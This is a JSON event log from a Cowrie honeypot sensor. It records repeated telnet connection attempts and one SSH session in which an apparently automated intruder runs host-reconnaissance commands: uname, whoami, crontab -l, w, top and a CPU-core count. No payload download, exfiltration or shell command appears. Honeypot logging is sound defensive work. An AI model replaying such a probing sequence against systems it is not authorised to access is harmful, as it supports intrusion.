{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:21.164342Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.03652262687683,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:21.539318Z","src_ip":"188.208.141.113","session":"78a572a5cebd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40130,"dst_ip":"10.17.0.5","dst_port":23,"session":"04b20c4ae6b8","protocol":"telnet","message":"New connection: 188.208.141.113:40130 (10.17.0.5:23) [session: 04b20c4ae6b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:21.610034Z"}
{"eventid":"cowrie.session.closed","duration":30.857492923736572,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:21.624332Z","src_ip":"162.55.233.176","session":"da6e132c2c12","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:21.730954Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:21.734663Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:21.738385Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36370,"dst_ip":"159.203.135.109","dst_port":23,"session":"563a281ebd8a","protocol":"telnet","message":"New connection: 162.55.233.176:36370 (159.203.135.109:23) [session: 563a281ebd8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:21.809313Z"}
{"eventid":"cowrie.session.closed","duration":33.02833390235901,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:21.819141Z","src_ip":"162.55.233.176","session":"8dd34c7ad31d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.8720920085907,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:21.850353Z","src_ip":"162.55.233.176","session":"b1ca362cb30f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36374,"dst_ip":"159.203.135.109","dst_port":23,"session":"007a369cac3e","protocol":"telnet","message":"New connection: 162.55.233.176:36374 (159.203.135.109:23) [session: 007a369cac3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:21.973587Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:22.009457Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36386,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d097086a8fd","protocol":"telnet","message":"New connection: 162.55.233.176:36386 (159.203.135.109:23) [session: 0d097086a8fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:22.492915Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:22.579783Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:22.583623Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36396,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6a04d7c6b48","protocol":"telnet","message":"New connection: 162.55.233.176:36396 (159.203.135.109:23) [session: e6a04d7c6b48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:22.762410Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:22.852259Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58178,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1ec6685c756","protocol":"telnet","message":"New connection: 162.55.233.176:58178 (159.203.135.109:23) [session: c1ec6685c756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:22.955217Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58180,"dst_ip":"159.203.135.109","dst_port":23,"session":"c705af14a0a3","protocol":"telnet","message":"New connection: 162.55.233.176:58180 (159.203.135.109:23) [session: c705af14a0a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:23.046883Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:23.418413Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:23.421518Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58194,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9aa32665759","protocol":"telnet","message":"New connection: 162.55.233.176:58194 (159.203.135.109:23) [session: a9aa32665759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:23.629313Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:23.692054Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.303420066833496,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:24.162137Z","src_ip":"162.55.233.176","session":"0ecb1ca56bc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58200,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a3a779e7ff9","protocol":"telnet","message":"New connection: 162.55.233.176:58200 (159.203.135.109:23) [session: 2a3a779e7ff9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:24.167081Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:24.266541Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:24.270378Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58216,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9332ab94e64","protocol":"telnet","message":"New connection: 162.55.233.176:58216 (159.203.135.109:23) [session: a9332ab94e64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:24.355137Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:24.538703Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58228,"dst_ip":"159.203.135.109","dst_port":23,"session":"cebea5898639","protocol":"telnet","message":"New connection: 162.55.233.176:58228 (159.203.135.109:23) [session: cebea5898639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:24.657074Z"}
{"eventid":"cowrie.session.closed","duration":3.1262943744659424,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:24.736210Z","src_ip":"188.208.141.113","session":"04b20c4ae6b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58236,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0a6a84c6ab9","protocol":"telnet","message":"New connection: 162.55.233.176:58236 (159.203.135.109:23) [session: b0a6a84c6ab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:24.839299Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58238,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ed993679c72","protocol":"telnet","message":"New connection: 162.55.233.176:58238 (159.203.135.109:23) [session: 4ed993679c72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:24.905927Z"}
{"eventid":"cowrie.session.closed","duration":40.40613555908203,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:24.980085Z","src_ip":"162.55.233.176","session":"dab7a09c707c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58246,"dst_ip":"159.203.135.109","dst_port":23,"session":"c44f836ad657","protocol":"telnet","message":"New connection: 162.55.233.176:58246 (159.203.135.109:23) [session: c44f836ad657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:24.988882Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:25.105883Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:25.109970Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58258,"dst_ip":"159.203.135.109","dst_port":23,"session":"5acba700210c","protocol":"telnet","message":"New connection: 162.55.233.176:58258 (159.203.135.109:23) [session: 5acba700210c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:25.146935Z"}
{"eventid":"cowrie.session.closed","duration":30.90498161315918,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:25.294554Z","src_ip":"162.55.233.176","session":"25f358b8f95c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58274,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cd752dfe162","protocol":"telnet","message":"New connection: 162.55.233.176:58274 (159.203.135.109:23) [session: 0cd752dfe162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:25.338777Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":49142,"dst_ip":"10.17.0.5","dst_port":23,"session":"a68121dc9c23","protocol":"telnet","message":"New connection: 206.189.32.23:49142 (10.17.0.5:23) [session: a68121dc9c23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:25.342928Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:25.379084Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.485597372055054,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:25.401074Z","src_ip":"188.208.141.113","session":"df5be048a149","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97507882118225,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:25.789275Z","src_ip":"162.55.233.176","session":"a244a982b246","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58284,"dst_ip":"159.203.135.109","dst_port":23,"session":"5705af7c11fd","protocol":"telnet","message":"New connection: 162.55.233.176:58284 (159.203.135.109:23) [session: 5705af7c11fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:25.814181Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58300,"dst_ip":"159.203.135.109","dst_port":23,"session":"719e67334579","protocol":"telnet","message":"New connection: 162.55.233.176:58300 (159.203.135.109:23) [session: 719e67334579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:25.840921Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:25.961956Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:25.966534Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58302,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d74194884f9","protocol":"telnet","message":"New connection: 162.55.233.176:58302 (159.203.135.109:23) [session: 3d74194884f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:25.998066Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:26.237071Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.86372900009155,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:26.738180Z","src_ip":"162.55.233.176","session":"49475f2be98c","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:26.792322Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:26.795799Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.509307861328125,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:26.905344Z","src_ip":"162.55.233.176","session":"fab66dd684a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.5977201461792,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:26.953644Z","src_ip":"206.189.32.23","session":"69fc3a7d7f7a","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:27.063796Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40138,"dst_ip":"10.17.0.5","dst_port":23,"session":"625296408175","protocol":"telnet","message":"New connection: 188.208.141.113:40138 (10.17.0.5:23) [session: 625296408175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:27.087441Z"}
{"eventid":"cowrie.session.closed","duration":36.579129695892334,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:27.096009Z","src_ip":"162.55.233.176","session":"8f749fd8f0e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.70185089111328,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:27.300233Z","src_ip":"162.55.233.176","session":"adb1f1d1fcfa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58318,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcd05d88fa30","protocol":"telnet","message":"New connection: 162.55.233.176:58318 (159.203.135.109:23) [session: bcd05d88fa30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:27.512497Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58328,"dst_ip":"159.203.135.109","dst_port":23,"session":"af4e35dea2ee","protocol":"telnet","message":"New connection: 162.55.233.176:58328 (159.203.135.109:23) [session: af4e35dea2ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:27.516827Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:27.639409Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:27.643764Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:27.913700Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58344,"dst_ip":"159.203.135.109","dst_port":23,"session":"2062e957c8a7","protocol":"telnet","message":"New connection: 162.55.233.176:58344 (159.203.135.109:23) [session: 2062e957c8a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:28.179284Z"}
{"eventid":"cowrie.session.closed","duration":35.4554488658905,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:28.280181Z","src_ip":"162.55.233.176","session":"c7f3041af676","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.354153633117676,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:28.286309Z","src_ip":"162.55.233.176","session":"b3a51310a6d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.807093143463135,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:28.418360Z","src_ip":"162.55.233.176","session":"f47177dd9538","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:28.472723Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:28.476264Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.08980369567871,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:28.615954Z","src_ip":"162.55.233.176","session":"4444f47906ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.38117861747742,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:28.659189Z","src_ip":"162.55.233.176","session":"9a4cf8742791","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58352,"dst_ip":"159.203.135.109","dst_port":23,"session":"eaa14a5514c8","protocol":"telnet","message":"New connection: 162.55.233.176:58352 (159.203.135.109:23) [session: eaa14a5514c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:28.675559Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:28.743638Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58366,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed091db0cc7c","protocol":"telnet","message":"New connection: 162.55.233.176:58366 (159.203.135.109:23) [session: ed091db0cc7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:28.770987Z"}
